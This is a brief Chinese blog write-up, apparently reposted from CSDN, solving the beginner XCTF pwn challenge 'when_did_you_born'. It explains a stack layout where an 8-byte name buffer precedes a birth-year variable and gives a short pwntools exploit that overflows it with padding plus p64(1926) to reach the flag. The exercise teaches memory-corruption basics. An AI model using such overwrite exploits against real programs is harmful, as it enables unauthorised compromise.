攻防世界_pwn_when_did_you_born(萌新版)

首发于鄙人博客:传送门

0x00 前言

省略file checksec,这个题的意思就是让我们输入的第二个值覆盖并改变我们输入的第一个值。

0x10 步骤

0x11 main函数

在main函数中我们可以发现题目要求我们输入Birth,若我们输入的值为1926,那么程序便会直接退出,若我们输入的不是1926,那么就会进入else中,而在else中,如果我们想cat flag,那么就必须使birth的值为1926。

0x11 栈

在栈中我们可以发现v4与v5的内存相差8,所以我们可以先输入8个无用数据,然后再将1926打包输入,便可以getshell。

0x20 exp

from pwn import *
sh = process("./when_didi_you_born")
sh.recvuntil("Birth?")
sh.sendline("aaax")
payload = "a"*8+p64(1926)
sh.recvuntil("Name?")
sh.sendline(payload)
sh.interactive()
发布了17 篇原创文章 · 获赞 1 · 访问量 270

猜你喜欢

转载自blog.csdn.net/qq_30204577/article/details/104480357